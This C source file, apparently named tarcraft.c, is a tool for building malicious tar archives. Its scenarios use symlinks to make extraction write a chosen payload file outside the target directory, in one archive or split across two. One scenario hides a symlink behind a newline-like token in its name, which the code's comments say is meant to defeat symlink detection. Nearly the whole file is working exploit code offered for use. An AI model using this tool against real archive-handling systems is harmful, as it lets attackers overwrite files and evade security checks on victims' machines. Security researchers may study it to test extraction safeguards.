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tarcraft.c
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tarcraft.c
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#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <pwd.h>
#include <grp.h>
// POSIX tar archive
typedef struct {
uint8_t file_name[100];
uint8_t file_mode[8];
uint8_t user_id[8];
uint8_t group_id[8];
uint8_t file_size[12];
uint8_t modify_time[12];
uint8_t header_checksum[8];
uint8_t link_flag;
uint8_t link_name[100];
uint8_t magic[6];
uint8_t version[2];
uint8_t user_name[32];
uint8_t group_name[32];
uint8_t device_major[8];
uint8_t device_minor[8];
uint8_t padding[167];
} tar_header;
typedef enum {
lf_oldnormal = 0x00,
lf_normal = '0',
lf_link,
lf_symlink,
lf_chr,
lf_blk,
lf_dir,
lf_fifo,
lf_contig
} link_flags;
void init_header(tar_header *header) {
memset(header, 0x00, sizeof(tar_header));
memset(header->header_checksum, ' ', 8);
snprintf(header->magic, 6, "ustar");
memset(header->version, ' ', 2);
}
void finish_header(tar_header *header) {
int i; int checksum = 0;
for (i = 0; i < 512; i++) {
checksum += 0xFF & ((uint8_t *)header)[i];
}
snprintf(header->header_checksum, 8, "%07o", checksum);
}
void set_file_name(tar_header *header, char *name) {
snprintf(header->file_name, 100, "%s", name);
}
void set_file_mode(tar_header *header, int mode) {
snprintf(header->file_mode, 8, "%07o", mode);
}
void set_user_id(tar_header *header, int uid) {
snprintf(header->user_id, 8, "%07o", uid);
}
void set_group_id(tar_header *header, int gid) {
snprintf(header->group_id, 8, "%07o", gid);
}
void set_file_size(tar_header *header, int size) {
snprintf(header->file_size, 12, "%011o", size);
}
//void set_modify_time(tar_header *header, long mtime) {
void set_modify_time(tar_header *header, struct timespec mtime) {
snprintf(header->modify_time, 12, "%011o", mtime);
}
void set_link_flag(tar_header *header, link_flags flag) {
header->link_flag = (uint8_t) flag;
}
void set_link_name(tar_header *header, char *name) {
snprintf(header->link_name, 100, "%s", name);
}
void set_user_name(tar_header *header, char *user) {
snprintf(header->user_name, 32, "%s", user);
}
void set_group_name(tar_header *header, char *group) {
snprintf(header->group_name, 32, "%s", group);
}
void set_device_major(tar_header *header, int id) {
snprintf(header->device_major, 8, "%07o", id);
}
void set_device_minor(tar_header *header, int id) {
snprintf(header->device_minor, 8, "%07o", id);
}
void dump_header(tar_header *header) {
printf("Filename: '%s'\n", header->file_name);
printf("Filemode: '%s'\n", header->file_mode);
printf("User ID: '%s'\n", header->user_id);
printf("Group ID: '%s'\n", header->group_id);
printf("File size: '%s'\n", header->file_size);
printf("Modify time: '%s'\n", header->modify_time);
printf("Header checksum: '%s'\n", header->header_checksum);
printf("Link flag: '");
switch (header->link_flag) {
case lf_oldnormal:
printf("normal disk file, Unix compatible");
break;
case lf_normal:
printf("normal disk file");
break;
case lf_link:
printf("link to previous file");
break;
case lf_symlink:
printf("symbolic link");
break;
case lf_chr:
printf("character special file");
break;
case lf_blk:
printf("block special file");
break;
case lf_dir:
printf("directory");
break;
case lf_fifo:
printf("FIFO special file");
break;
case lf_contig:
printf("contiguous file");
break;
default:
printf("invalid");
break;
}
puts("'");
printf("Link name: '%s'\n", header->link_name);
printf("Magic: '%s'\n", header->magic);
printf("User name: '%s'\n", header->user_name);
printf("Group name: '%s'\n", header->group_name);
printf("Major device ID: '%s'\n", header->device_major);
printf("Minor device ID: '%s'\n", header->device_minor);
}
void write_header(tar_header *header, FILE *fp) {
fwrite(header, sizeof(tar_header), 1, fp);
}
void write_body(FILE *fp_in, FILE *fp_out, long size) {
uint8_t chunk[512];
size_t read;
size_t padding;
size_t chunk_size;
do {
chunk_size = size;
if (size > 512) {
size -= 512;
chunk_size = 512;
}
printf("Chunk_size %d\n", chunk_size);
read = fread(chunk, 1, chunk_size, fp_in);
printf("Read %d\n", read);
fwrite(chunk, 1, read, fp_out);
padding = 512 - read;
} while (read > 512);
printf("Padding: %d\n", padding);
memset(chunk, 0x00, 512);
fwrite(chunk, 1, padding, fp_out);
}
void add_symlink(char *stat_file, char *tar_filename, char *link_destination, FILE *fp_out) {
struct stat statbuf;
struct passwd *pwd;
struct group *grp;
tar_header header;
init_header(&header);
if (stat(stat_file, &statbuf)) {
printf("Failed to stat %s\n", stat_file);
return;
}
set_file_name(&header, tar_filename);
//set_file_mode(&header, statbuf.st_mode);
set_user_id(&header, statbuf.st_uid);
set_group_id(&header, statbuf.st_gid);
set_modify_time(&header, statbuf.st_mtim);
set_link_flag(&header, lf_symlink);
set_link_name(&header, link_destination);
pwd = getpwuid(statbuf.st_uid);
set_user_name(&header, pwd->pw_name);
grp = getgrgid(statbuf.st_gid);
set_group_name(&header, grp->gr_name);
finish_header(&header);
dump_header(&header);
write_header(&header, fp_out);
}
void add_file(char *source, char *tar_filename, FILE *fp_out) {
FILE *fp_in;
long file_size;
struct stat statbuf;
struct passwd *pwd;
struct group *grp;
tar_header header;
init_header(&header);
if (stat(source, &statbuf)) {
printf("Failed to stat %s\n", source);
return;
}
fp_in = fopen(source, "rb");
if (!fp_in) {
printf("Failed to open %s\n", source);
return;
}
set_file_name(&header, tar_filename);
set_file_mode(&header, statbuf.st_mode);
set_user_id(&header, statbuf.st_uid);
set_group_id(&header, statbuf.st_gid);
set_modify_time(&header, statbuf.st_mtim);
set_link_flag(&header, lf_normal);
pwd = getpwuid(statbuf.st_uid);
set_user_name(&header, pwd->pw_name);
grp = getgrgid(statbuf.st_gid);
set_group_name(&header, grp->gr_name);
fseek(fp_in, 0, SEEK_END);
file_size = ftell(fp_in);
rewind(fp_in);
set_file_size(&header, file_size);
finish_header(&header);
dump_header(&header);
write_header(&header, fp_out);
write_body(fp_in, fp_out, file_size);
}
/*
* Extract payload to destination of symlink in one file
*/
void scenario_symlink_dir_one(char *payload, char *linkname, char *destination, char *output) {
char linkpath[100];
FILE *fp_out = fopen(output, "wb");
add_symlink(payload, linkname, destination, fp_out);
snprintf(linkpath, 100, "%s/%s", linkname, payload);
add_file(payload, linkpath, fp_out);
fclose(fp_out);
printf("Created %s\n", output);
}
/*
* Extract payload to destination of symlink in two stages
*/
void scenario_symlink_dir_two(char *payload, char *linkname, char *destination, char *output1, char *output2) {
char linkpath[100];
FILE *fp_out = fopen(output1, "wb");
add_symlink(payload, linkname, destination, fp_out);
fclose(fp_out);
fp_out = fopen(output2, "wb");
snprintf(linkpath, 100, "%s/%s", linkname, payload);
add_file(payload, linkpath, fp_out);
printf("Created %s and %s\n", output1, output2);
}
/*
* Used in a situation where extracted files are checked and symlinks outside of current directory are removed.
* Create a symlink with a token in filename that breaks the detection algorithm (e.g. \n when reading tar output from shell)
* Create another symlink to "hidden" symlink with accessible filename
*/
void scenario_symlink_hidden(char *stat_file, char *linkname, char *destination, char *output, char *token) {
char link_hidden[100];
FILE *fp_out = fopen(output, "wb");
snprintf(link_hidden, 100, "%s%s", linkname, token);
add_symlink(stat_file, link_hidden, destination, fp_out);
add_symlink(stat_file, linkname, link_hidden, fp_out);
fclose(fp_out);
printf("Created %s\n", output);
}
void print_help(char *file_name) {
printf("%s <scenario> [parameters]\n", file_name);
puts("Scenarios:");
puts("symlink_dir_one <payload> <linkname> <destination> <output>");
puts("symlink_dir_two <payload> <linkname> <destination> <output1> <output1>");
puts("symlink_hidden <stat_file> <linkname> <destination> <output> <token>");
puts("\tstat_file is used for uid/gid and mtime of symlinks");
puts("\ttoken is used to stop detection algorithms from finding symlink, e.g. use '\\n' ");
}
int main(int argc, char **argv) {
if (argc < 2) {
print_help(argv[0]);
exit(0);
}
if (!strcmp(argv[1], "symlink_dir_one") && argc == 6) {
scenario_symlink_dir_one(argv[2], argv[3], argv[4], argv[5]);
} else if (!strcmp(argv[1], "symlink_dir_two") && argc == 7) {
scenario_symlink_dir_two(argv[2], argv[3], argv[4], argv[5], argv[6]);
} else if (!strcmp(argv[1], "symlink_hidden") && argc == 7) {
scenario_symlink_hidden(argv[2], argv[3], argv[4], argv[5], argv[6]);
} else {
print_help(argv[0]);
exit(0);
}
}